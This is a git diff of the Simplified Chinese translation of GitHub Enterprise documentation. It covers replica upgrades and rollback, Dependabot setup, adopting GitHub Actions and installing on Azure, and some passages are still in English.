-4. Upgrade the primary instance by following the instructions in "[Upgrading a single appliance with an upgrade package](#upgrading-a-single-appliance-with-an-upgrade-package)."
+3. 在副本实例或者所有副本实例（如果您将多个副本实例作为 Geo-replication 的一部分运行）上，运行 `ghe-repl-stop` 以停止复制。
+4. 按照“[使用升级包升级单个设备](#upgrading-a-single-appliance-with-an-upgrade-package)”中的说明升级主实例。
 
-#### Upgrading a replica instance
+#### 升级副本实例
 
 {% note %}
 
-**Note:** If you're running multiple replica instances as part of geo-replication, repeat this procedure for each replica instance, one at a time.
+**注**：如果您要将多个副本实例作为 Geo-replication 的一部分运行，请逐一为每个副本实例重复此步骤。
 
 {% endnote %}
 
-1. Upgrade the replica instance by following the instructions in "[Upgrading a single appliance with an upgrade package](#upgrading-a-single-appliance-with-an-upgrade-package)." If you are using multiple replicas for Geo-replication, you must repeat this procedure to upgrade each replica one at a time.
+1. 按照“[使用升级包升级单个设备](#upgrading-a-single-appliance-with-an-upgrade-package)”中的说明升级副本实例。 如果使用多个副本进行异地复制，则必须重复此过程，每次升级一个副本。
 {% data reusables.enterprise_installation.replica-ssh %}
 {% data reusables.enterprise_installation.replica-verify %}
 
 {% data reusables.enterprise_installation.start-replication %}
 
-{% data reusables.enterprise_installation.replication-status %} If the command returns `Replication is not running`, the replication may still be starting. Wait about one minute before running `ghe-repl-status` again.
+{% data reusables.enterprise_installation.replication-status %} 如果命令返回 `Replication is not running`，说明复制可能仍在启动。 等待 1 分钟左右，然后再次运行 `ghe-repl-status`。
 
    {% note %}
 
-    **Note:** While the resync is in progress `ghe-repl-status` may return expected messages indicating that replication is behind.
-    For example: `CRITICAL: git replication is behind the primary by more than 1007 repositories and/or gists`
+    **注**：在重新同步过程中，`ghe-repl-status` 可能返回预期消息，提示复制落后。
+    例如：`CRITICAL: git replication is behind the primary by more than 1007 repositories and/or gists`
 
    {% endnote %}
 
-   If `ghe-repl-status` did not return `OK`, contact {% data variables.contact.enterprise_support %}. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)."
-   
-6. When you have completed upgrading the last replica, and the resync is complete, disable maintenance mode so users can use {% data variables.product.product_location %}.
+   If `ghe-repl-status` did not return `OK`, contact {% data variables.contact.enterprise_support %}. 更多信息请参阅“[从 {% data variables.contact.github_support %} 获取帮助](/admin/enterprise-support/receiving-help-from-github-support)”。
 
-## Restoring from a failed upgrade
+6. 最后一个副本升级完毕且重新同步完成后，请禁用维护模式，以便用户能够使用 {% data variables.product.product_location %}。
 
-If an upgrade fails or is interrupted, you should revert your instance back to its previous state. The process for completing this depends on the type of upgrade.
+## 从失败的升级中恢复
 
-### Rolling back a patch release
+如果升级失败或中断，您应将实例还原为其之前的状态。 完成此操作的过程取决于升级类型。
 
-To roll back a patch release, use the `ghe-upgrade` command with the `--allow-patch-rollback` switch. {% data reusables.enterprise_installation.command-line-utilities-ghe-upgrade-rollback %}
+### 回滚补丁版本
 
-For more information, see "[Command-line utilities](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities/#ghe-upgrade)."
+要回滚补丁版本，请使用带 `--allow-patch-rollback` 开关的 `ghe-upgrade` 命令。 Before rolling back, replication must be temporarily stopped by running `ghe-repl-stop` on all replica instances. {% data reusables.enterprise_installation.command-line-utilities-ghe-upgrade-rollback %}
 
-### Rolling back a feature release
+Once the rollback is complete, restart replication by running `ghe-repl-start` on all replicas.
 
-To roll back from a feature release, restore from a VM snapshot to ensure that root and data partitions are in a consistent state. For more information, see "[Taking a snapshot](#taking-a-snapshot)."
+更多信息请参阅“[命令行实用程序](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities/#ghe-upgrade)”。
+
+### 回滚功能版本
+
+要从功能版本回滚，请从 VM 快照恢复，以确保根分区和数据分区处于一致的状态。 更多信息请参阅“[生成快照](#taking-a-snapshot)”。
 
 {% ifversion ghes %}
-## Further reading
+## 延伸阅读
 
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"
+- "[关于升级到新版本](/admin/overview/about-upgrades-to-new-releases)"
 {% endif %}
diff --git a/translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/index.md b/translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/index.md
index 68f0cb423b..696bf9aadc 100644
--- a/translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/index.md
+++ b/translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/index.md
@@ -1,6 +1,6 @@
 ---
-title: Receiving help from GitHub Support
-intro: 'You can contact {% data variables.contact.enterprise_support %} to report a range of issues for your enterprise.'
+title: 从 GitHub Support 获得帮助
+intro: '您可以联系 {% data variables.contact.enterprise_support %} 报告企业的一系列问题。'
 redirect_from:
   - /enterprise/admin/guides/enterprise-support/receiving-help-from-github-enterprise-support
   - /enterprise/admin/enterprise-support/receiving-help-from-github-support
@@ -14,6 +14,6 @@ children:
   - /preparing-to-submit-a-ticket
   - /submitting-a-ticket
   - /providing-data-to-github-support
-shortTitle: Receive help from Support
+shortTitle: 从支持部门获得帮助
 ---
 
diff --git a/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md b/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md
index 5ebd02f920..5197f14dbb 100644
--- a/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md
+++ b/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md
@@ -21,13 +21,13 @@ shortTitle: Set up Dependabot updates
 
 {% endtip %}
 
-## About {% data variables.product.prodname_dependabot %} updates
+## 关于 {% data variables.product.prodname_dependabot %} 更新
 
 When you set up {% data variables.product.prodname_dependabot %} security and version updates for {% data variables.product.product_location %}, users can configure repositories so that their dependencies are updated and kept secure automatically. This is an important step in helping developers create and maintain secure code.
 
 Users can set up {% data variables.product.prodname_dependabot %} to create pull requests to update their dependencies using two features.
 
-- **{% data variables.product.prodname_dependabot_version_updates %}**: Users add a {% data variables.product.prodname_dependabot %} configuration file to the repository to enable {% data variables.product.prodname_dependabot %} to create pull requests when a new version of a tracked dependency is released. For more information, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates)."
+- **{% data variables.product.prodname_dependabot_version_updates %}**: Users add a {% data variables.product.prodname_dependabot %} configuration file to the repository to enable {% data variables.product.prodname_dependabot %} to create pull requests when a new version of a tracked dependency is released. 更多信息请参阅“[关于 {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates)“。
 - **{% data variables.product.prodname_dependabot_security_updates %}**: Users toggle a repository setting to enable {% data variables.product.prodname_dependabot %} to create pull requests when {% data variables.product.prodname_dotcom %} detects a vulnerability in one of the dependencies of the dependency graph for the repository. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies)" and "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)."
 
 ## Prerequisites for {% data variables.product.prodname_dependabot %} updates
@@ -71,7 +71,7 @@ If you specify more than 14 concurrent runners on a VM, you must also update the
 
 ### Adding self-hosted runners for {% data variables.product.prodname_dependabot %} updates
 
-1. Provision self-hosted runners, at the repository, organization, or enterprise account level. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."
+1. Provision self-hosted runners, at the repository, organization, or enterprise account level. 更多信息请参阅“[关于自托管的运行器](/actions/hosting-your-own-runners/about-self-hosted-runners)”和“[添加自托管的运行器](/actions/hosting-your-own-runners/adding-self-hosted-runners)”。
 
 2. Set up the self-hosted runners with the requirements described above. For example, on a VM running Ubuntu 20.04 you would:
 
diff --git a/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md b/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md
index 7a7069a145..09f91b2a8c 100644
--- a/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md
+++ b/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md
@@ -1,6 +1,6 @@
 ---
 title: Getting started with GitHub Actions for your enterprise
-intro: "Learn how to adopt {% data variables.product.prodname_actions %} for your enterprise."
+intro: 'Learn how to adopt {% data variables.product.prodname_actions %} for your enterprise.'
 versions:
   ghec: '*'
   ghes: '*'
@@ -14,6 +14,6 @@ children:
   - /getting-started-with-github-actions-for-github-enterprise-cloud
   - /getting-started-with-github-actions-for-github-enterprise-server
   - /getting-started-with-github-actions-for-github-ae
-shortTitle: Get started
+shortTitle: 入门
 ---
 
diff --git a/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md b/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md
index 6114f313f6..23c8ea1642 100644
--- a/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md
+++ b/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md
@@ -1,7 +1,7 @@
 ---
 title: Introducing GitHub Actions to your enterprise
 shortTitle: Introduce Actions
-intro: "You can plan how to roll out {% data variables.product.prodname_actions %} in your enterprise."
+intro: 'You can plan how to roll out {% data variables.product.prodname_actions %} in your enterprise.'
 versions:
   ghec: '*'
   ghes: '*'
@@ -24,7 +24,7 @@ Before you introduce {% data variables.product.prodname_actions %} to a large en
 
 ## Governance and compliance
 
-Your should create a plan to govern your enterprise's use of {% data variables.product.prodname_actions %} and meet your compliance obligations.
+You should create a plan to govern your enterprise's use of {% data variables.product.prodname_actions %} and meet your compliance obligations.
 
 Determine which actions your developers will be allowed to use. {% ifversion ghes %}First, decide whether you'll enable access to actions from outside your instance. {% data reusables.actions.access-actions-on-dotcom %} For more information, see "[About using actions in your enterprise](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise)."
 
@@ -38,9 +38,9 @@ Consider combining OpenID Connect (OIDC) with reusable workflows to enforce cons
 
 You can access information about activity related to {% data variables.product.prodname_actions %} in the audit logs for your enterprise. If your business needs require retaining audit logs for longer than six months, plan how you'll export and store this data outside of {% data variables.product.prodname_dotcom %}. For more information, see {% ifversion ghec %}"[Streaming the audit logs for organizations in your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account)."{% else %}"[Searching the audit log](/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log)."{% endif %}
 
-![Audit log entries](/assets/images/help/repository/audit-log-entries.png)
+![审核日志条目](/assets/images/help/repository/audit-log-entries.png)
 
-## Security
+## 安全
 
 You should plan your approach to security hardening for {% data variables.product.prodname_actions %}.
 
@@ -62,7 +62,7 @@ You should consider adding manual approval protection for sensitive environments
 
 ### Security considerations for third-party actions
 
-There is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. If you do allow any third-party actions, you should create internal guidelines that enourage your team to follow best practices, such as pinning actions to the full commit SHA. For more information, see "[Using third-party actions](/actions/security-guides/security-hardening-for-github-actions#using-third-party-actions)."
+There is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. If you do allow any third-party actions, you should create internal guidelines that encourage your team to follow best practices, such as pinning actions to the full commit SHA. For more information, see "[Using third-party actions](/actions/security-guides/security-hardening-for-github-actions#using-third-party-actions)."
 
 ## Innersourcing
 
@@ -72,7 +72,7 @@ Think about how your enterprise can use features of {% data variables.product.pr
 With reusable workflows, your team can call one workflow from another workflow, avoiding exact duplication. Reusable workflows promote best practice by helping your team use workflows that are well designed and have already been tested. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
 {% endif %}
 
-To provide a starting place for developers building new workflows, you can use workflow templates. This not only saves time for your developers, but promotes consistency and best practice across your enterprise. For more information, see "[Creating workflow templates](/actions/learn-github-actions/creating-workflow-templates)."
+To provide a starting place for developers building new workflows, you can use starter workflows. This not only saves time for your developers, but promotes consistency and best practice across your enterprise. For more information, see "[Creating starter workflows for your organization](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)."
 
 Whenever your workflow developers want to use an action that's stored in a private repository, they must configure the workflow to clone the repository first. To reduce the number of repositories that must be cloned, consider grouping commonly used actions in a single repository. For more information, see "[About custom actions](/actions/creating-actions/about-custom-actions#choosing-a-location-for-your-action)."
 
@@ -80,7 +80,7 @@ Whenever your workflow developers want to use an action that's stored in a priva
 
 You should plan for how you'll manage the resources required to use {% data variables.product.prodname_actions %}.
 
-### Runners
+### 运行器
 
 {% data variables.product.prodname_actions %} workflows require runners.{% ifversion ghec %} You can choose to use {% data variables.product.prodname_dotcom %}-hosted runners or self-hosted runners. {% data variables.product.prodname_dotcom %}-hosted runners are convenient because they are managed by {% data variables.product.company_short %}, who handles maintenance and upgrades for you. However, you may want to consider self-hosted runners if you need to run a workflow that will access resources behind your firewall or you want more control over the resources, configuration, or geographic location of your runner machines. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)" and "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."{% else %} You will need to host your own runners by installing the {% data variables.product.prodname_actions %} self-hosted runner application on your own machines. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."{% endif %}
 
@@ -89,12 +89,12 @@ You should plan for how you'll manage the resources required to use {% data vari
 You also have to decide where to add each runner. You can add a self-hosted runner to an individual repository, or you can make the runner available to an entire organization or your entire enterprise. Adding runners at the organization or enterprise levels allows sharing of runners, which might reduce the size of your runner infrastructure. You can use policies to limit access to self-hosted runners at the organization and enterprise levels by assigning groups of runners to specific repositories or organizations. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)" and "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)."
 
 {% ifversion ghec or ghes > 3.2 %}
-You should consider using autoscaling to automatically increase or decrease the number of available self-hosted runners. For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)."
+You should consider using autoscaling to automatically increase or decrease the number of available self-hosted runners. 更多信息请参阅“[使用自托管运行器自动缩放](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)”。
 {% endif %}
 
 Finally, you should consider security hardening for self-hosted runners. For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners)."
 
-### Storage
+### 存储器
 
 {% data reusables.actions.about-artifacts %} For more information, see "[Storing workflow data as artifacts](/actions/advanced-guides/storing-workflow-data-as-artifacts)."
 
@@ -113,7 +113,7 @@ You must configure external blob storage for these artifacts. Decide which suppo
 If you want to retain logs and artifacts longer than the upper limit you can configure in {% data variables.product.product_name %}, you'll have to plan how to export and store the data.
 
 {% ifversion ghec %}
-Some storage is included in your subscription, but additional storage will affect your bill. You should plan for this cost. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."
+Some storage is included in your subscription, but additional storage will affect your bill. You should plan for this cost. 更多信息请参阅“[关于 {% data variables.product.prodname_actions %} 的计费](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)”。
 {% endif %}
 
 ## Tracking usage
diff --git a/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md b/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md
index 2936f4d27f..4a897cf910 100644
--- a/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md
+++ b/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md
@@ -1,7 +1,7 @@
 ---
 title: Migrating your enterprise to GitHub Actions
 shortTitle: Migrate to Actions
-intro: "Learn how to plan a migration to {% data variables.product.prodname_actions %} for your enterprise from another provider."
+intro: 'Learn how to plan a migration to {% data variables.product.prodname_actions %} for your enterprise from another provider.'
 versions:
   ghec: '*'
   ghes: '*'
@@ -60,7 +60,7 @@ Determine the migration approach that will work best for your enterprise. Smalle
 
 We recommend an iterative approach that combines active management with self service. Start with a small group of early adopters that can act as your internal champions. Identify a handful of workflows that are comprehensive enough to represent the breadth of your business. Work with your early adopters to migrate those workflows to {% data variables.product.prodname_actions %}, iterating as needed. This will give other teams confidence that their workflows can be migrated, too.
 
-Then, make {% data variables.product.prodname_actions %} available to your larger organization. Provide resources to help these teams migrate their own workflows to {% data variables.product.prodname_actions %}, and inform the teams when the existing systems will be retired. 
+Then, make {% data variables.product.prodname_actions %} available to your larger organization. Provide resources to help these teams migrate their own workflows to {% data variables.product.prodname_actions %}, and inform the teams when the existing systems will be retired.
 
 Finally, inform any teams that are still using your old systems to complete their migrations within a specific timeframe. You can point to the successes of other teams to reassure them that migration is possible and desirable.
 
diff --git a/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md b/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md
index ce67a6d17e..9d68404287 100644
--- a/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md
+++ b/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing access to actions from GitHub.com
-intro: 'Controlling which actions on {% data variables.product.prodname_dotcom_the_website %} and {% data variables.product.prodname_marketplace %} can be used in your enterprise.'
+title: 管理对 GitHub.com 上操作的访问
+intro: '控制在您的企业中可以使用 {% data variables.product.prodname_dotcom_the_website %} 和 {% data variables.product.prodname_marketplace %} 上的哪些操作。'
 redirect_from:
   - /enterprise/admin/github-actions/managing-access-to-actions-from-githubcom
 versions:
@@ -14,6 +14,6 @@ children:
   - /manually-syncing-actions-from-githubcom
   - /using-the-latest-version-of-the-official-bundled-actions
   - /setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access
-shortTitle: Manage access to actions
+shortTitle: 管理对操作的访问
 ---
 
diff --git a/translations/zh-CN/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md b/translations/zh-CN/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md
index 5228957db1..68c4afbbd3 100644
--- a/translations/zh-CN/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md
+++ b/translations/zh-CN/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md
@@ -1,6 +1,6 @@
 ---
-title: Using actions in GitHub AE
-intro: '{% data variables.product.prodname_ghe_managed %} includes most of the {% data variables.product.prodname_dotcom %}-authored actions.'
+title: 在 GitHub AE 中使用操作
+intro: '{% data variables.product.prodname_ghe_managed %} 包含大部分 {% data variables.product.prodname_dotcom %} 编写的操作。'
 versions:
   ghae: '*'
 type: how_to
@@ -9,18 +9,18 @@ topics:
   - Enterprise
 redirect_from:
   - /admin/github-actions/using-actions-in-github-ae
-shortTitle: Use actions
+shortTitle: 使用操作
 ---
 
 
-{% data variables.product.prodname_actions %} workflows can use _actions_, which are individual tasks that you can combine to create jobs and customize your workflow. You can create your own actions, or use and customize actions shared by the {% data variables.product.prodname_dotcom %} community.
+{% data variables.product.prodname_actions %} 工作流程可使用_操作_，它们是一些单独的任务，您可以组合这些操作以创建作业并自定义工作流程。 您可以创建自己的操作，或者使用和自定义 {% data variables.product.prodname_dotcom %} 社区分享的操作。
 
-## Official actions bundled with {% data variables.product.prodname_ghe_managed %}
+## {% data variables.product.prodname_ghe_managed %} 随附的官方操作
 
-Most official {% data variables.product.prodname_dotcom %}-authored actions are automatically bundled with {% data variables.product.prodname_ghe_managed %}, and are captured at a point in time from {% data variables.product.prodname_marketplace %}. When your {% data variables.product.prodname_ghe_managed %} instance is updated, the bundled official actions are also updated.
+大多数官方 {% data variables.product.prodname_dotcom %} 编写的操作都会自动与 {% data variables.product.prodname_ghe_managed %} 捆绑在一起，并且会在某个时间点从 {% data variables.product.prodname_marketplace %} 获取。 当您的 {% data variables.product.prodname_ghe_managed %} 实例更新时，捆绑的官方操作也会更新。
 
-The bundled official actions include `actions/checkout`, `actions/upload-artifact`, `actions/download-artifact`, `actions/labeler`, and various `actions/setup-` actions, among others. To see which of the official actions are included, browse to the following organizations on your instance: 
+捆绑的官方操作包括 `actions/checkout`、`actions/upload-artifact`、`actions/download-artifact`、`actions/labeler` 以及各种 `actions/setup-` 操作等。 要查看包含哪些官方操作，请在您的实例中浏览到以下组织：
 - <code>https://<em>HOSTNAME</em>/actions</code>
 - <code>https://<em>HOSTNAME</em>/github</code>
 
-Each action's files are kept in a repository in the `actions` and `github` organizations. Each action repository includes the necessary tags, branches, and commit SHAs that your workflows can use to reference the action.
+每个操作的文件都保存在 `actions` 和 `github` 组织的仓库中。 每个操作仓库都包含必要的标签、分支和提交 SHA，您的工作流可以使用它们来引用操作。
diff --git a/translations/zh-CN/content/admin/guides.md b/translations/zh-CN/content/admin/guides.md
index c8b10f2083..8b09e9ea51 100644
--- a/translations/zh-CN/content/admin/guides.md
+++ b/translations/zh-CN/content/admin/guides.md
@@ -1,7 +1,7 @@
 ---
-title: GitHub Enterprise guides
-shortTitle: Guides
-intro: 'Learn how to increase developer productivity and code quality with {% data variables.product.product_name %}.'
+title: GitHub Enterprise 指南
+shortTitle: 指南
+intro: '学习如何通过 {% data variables.product.product_name %} 提高开发人员的工作效率和代码质量。'
 allowTitleToDifferFromFilename: true
 layout: product-guides
 versions:
@@ -13,7 +13,7 @@ learningTracks:
   - '{% ifversion ghae %}get_started_with_github_ae{% endif %}'
   - '{% ifversion ghes %}deploy_an_instance{% endif %}'
   - '{% ifversion ghes %}upgrade_your_instance{% endif %}'
-  -  adopting_github_actions_for_your_enterprise
+  - adopting_github_actions_for_your_enterprise
   - '{% ifversion ghes %}increase_fault_tolerance{% endif %}'
   - '{% ifversion ghes %}improve_security_of_your_instance{% endif %}'
   - '{% ifversion ghes > 2.22 %}configure_github_actions{% endif %}'
diff --git a/translations/zh-CN/content/admin/installation/index.md b/translations/zh-CN/content/admin/installation/index.md
index 385c4412e7..2166a31f12 100644
--- a/translations/zh-CN/content/admin/installation/index.md
+++ b/translations/zh-CN/content/admin/installation/index.md
@@ -1,7 +1,7 @@
 ---
-title: 'Installing {% data variables.product.prodname_enterprise %}'
-shortTitle: Installing
-intro: 'System administrators and operations and security specialists can install {% data variables.product.prodname_ghe_server %}.'
+title: '安装 {% data variables.product.prodname_enterprise %}'
+shortTitle: 安装
+intro: '系统管理员以及操作和安全专业人员可以安装 {% data variables.product.prodname_ghe_server %}。'
 redirect_from:
   - /enterprise/admin-guide
   - /enterprise/admin/guides/installation
@@ -19,8 +19,9 @@ topics:
 children:
   - /setting-up-a-github-enterprise-server-instance
 ---
-For more information, or to purchase {% data variables.product.prodname_enterprise %}, see [{% data variables.product.prodname_enterprise %}](https://github.com/enterprise).
+
+如需了解更多信息或购买 {% data variables.product.prodname_enterprise %}，请参阅 [{% data variables.product.prodname_enterprise %}](https://github.com/enterprise)。
 
 {% data reusables.enterprise_installation.request-a-trial %}
 
-If you have questions about the installation process, see "[Working with {% data variables.product.prodname_enterprise %} Support](/enterprise/admin/guides/enterprise-support/)."
+如果对安装过程存在疑问，请参阅“[使用 {% data variables.product.prodname_enterprise %} Support](/enterprise/admin/guides/enterprise-support/)”。
diff --git a/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md
index c1df769365..71aa08bff2 100644
--- a/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md
+++ b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md
@@ -1,6 +1,6 @@
 ---
-title: Setting up a GitHub Enterprise Server instance
-intro: 'You can install {% data variables.product.prodname_ghe_server %} on the supported virtualization platform of your choice.'
+title: 设置 GitHub Enterprise Server 实例
+intro: '您可以在自己选择的受支持虚拟化平台上安装 {% data variables.product.prodname_ghe_server %}。'
 redirect_from:
   - /enterprise/admin/installation/getting-started-with-github-enterprise-server
   - /enterprise/admin/guides/installation/supported-platforms
@@ -20,6 +20,6 @@ children:
   - /installing-github-enterprise-server-on-vmware
   - /installing-github-enterprise-server-on-xenserver
   - /setting-up-a-staging-instance
-shortTitle: Set up an instance
+shortTitle: 设置实例
 ---
 
diff --git a/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md
index 748685a4e0..0753d7ca8e 100644
--- a/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md
+++ b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md
@@ -1,6 +1,6 @@
 ---
-title: Installing GitHub Enterprise Server on Azure
-intro: 'To install {% data variables.product.prodname_ghe_server %} on Azure, you must deploy onto a DS-series instance and use Premium-LRS storage.'
+title: 在 Azure 上安装 GitHub Enterprise Server
+intro: '要在 Azure 上安装 {% data variables.product.prodname_ghe_server %}，您必须部署到 DS 系列实例上并使用 Premium-LRS 存储。'
 redirect_from:
   - /enterprise/admin/guides/installation/installing-github-enterprise-on-azure
   - /enterprise/admin/installation/installing-github-enterprise-server-on-azure
@@ -13,58 +13,59 @@ topics:
   - Enterprise
   - Infrastructure
   - Set up
-shortTitle: Install on Azure
+shortTitle: 在 Azure 上安装
 ---
-You can deploy {% data variables.product.prodname_ghe_server %} on global Azure or Azure Government.
 
-## Prerequisites
+您可以将 {% data variables.product.prodname_ghe_server %} 部署在全局 Azure 或 Azure Government 上。
+
+## 基本要求
 
 - {% data reusables.enterprise_installation.software-license %}
-- You must have an Azure account capable of provisioning new machines. For more information, see the [Microsoft Azure website](https://azure.microsoft.com).
-- Most actions needed to launch your virtual machine (VM) may also be performed using the Azure Portal. However, we recommend installing the Azure command line interface (CLI) for initial setup. Examples using the Azure CLI 2.0 are included below. For more information, see Azure's guide "[Install Azure CLI 2.0](https://docs.microsoft.com/cli/azure/install-azure-cli?view=azure-cli-latest)."
+- 您必须具有能够配置新机器的 Azure 帐户。 更多信息请参阅 [Microsoft Azure 网站](https://azure.microsoft.com)。
+- 启动虚拟机 (VM) 所需的大部分操作也可以使用 Azure Portal 执行。 不过，我们建议安装 Azure 命令行接口 (CLI) 进行初始设置。 下文介绍了使用 Azure CLI 2.0 的示例。 更多信息请参阅 Azure 指南“[安装 Azure CLI 2.0](https://docs.microsoft.com/cli/azure/install-azure-cli?view=azure-cli-latest)”。
 
-## Hardware considerations
+## 硬件考量因素
 
 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
 
-## Determining the virtual machine type
+## 确定虚拟机类型
 
-Before launching {% data variables.product.product_location %} on Azure, you'll need to determine the machine type that best fits the needs of your organization. To review the minimum requirements for {% data variables.product.product_name %}, see "[Minimum requirements](#minimum-requirements)."
+在 Azure 上启动 {% data variables.product.product_location %} 之前，您需要确定最符合您的组织需求的设备类型。 要查看 {% data variables.product.product_name %} 的最低要求，请参阅“[最低要求](#minimum-requirements)”。
 
 {% data reusables.enterprise_installation.warning-on-scaling %}
 
 {% data reusables.enterprise_installation.azure-instance-recommendation %}
 
-## Creating the {% data variables.product.prodname_ghe_server %} virtual machine
+## 创建 {% data variables.product.prodname_ghe_server %} 虚拟机
 
 {% data reusables.enterprise_installation.create-ghe-instance %}
 
-1. Find the most recent {% data variables.product.prodname_ghe_server %} appliance image. For more information about the `vm image list` command, see "[az vm image list](https://docs.microsoft.com/cli/azure/vm/image?view=azure-cli-latest#az_vm_image_list)" in the Microsoft documentation.
+1. 找到最新的 {% data variables.product.prodname_ghe_server %} 设备映像。 更多关于 `vm image list` 命令的信息，请参阅 Microsoft 文档中的“[az vm image list](https://docs.microsoft.com/cli/azure/vm/image?view=azure-cli-latest#az_vm_image_list)”。
   ```shell
   $ az vm image list --all -f GitHub-Enterprise | grep '"urn":' | sort -V
   ```
 
-2. Create a new VM using the appliance image you found. For more information, see "[az vm create](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_create)" in the Microsoft documentation.
+2. 使用找到的设备映像创建新的 VM。 更多信息请参阅 Microsoft 文档中的“[az vm 创建](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_create)”。
 
-  Pass in options for the name of your VM, the resource group, the size of your VM, the name of your preferred Azure region, the name of the appliance image VM you listed in the previous step, and the storage SKU for premium storage. For more information about resource groups, see "[Resource groups](https://docs.microsoft.com/azure/azure-resource-manager/resource-group-overview#resource-groups)" in the Microsoft documentation.
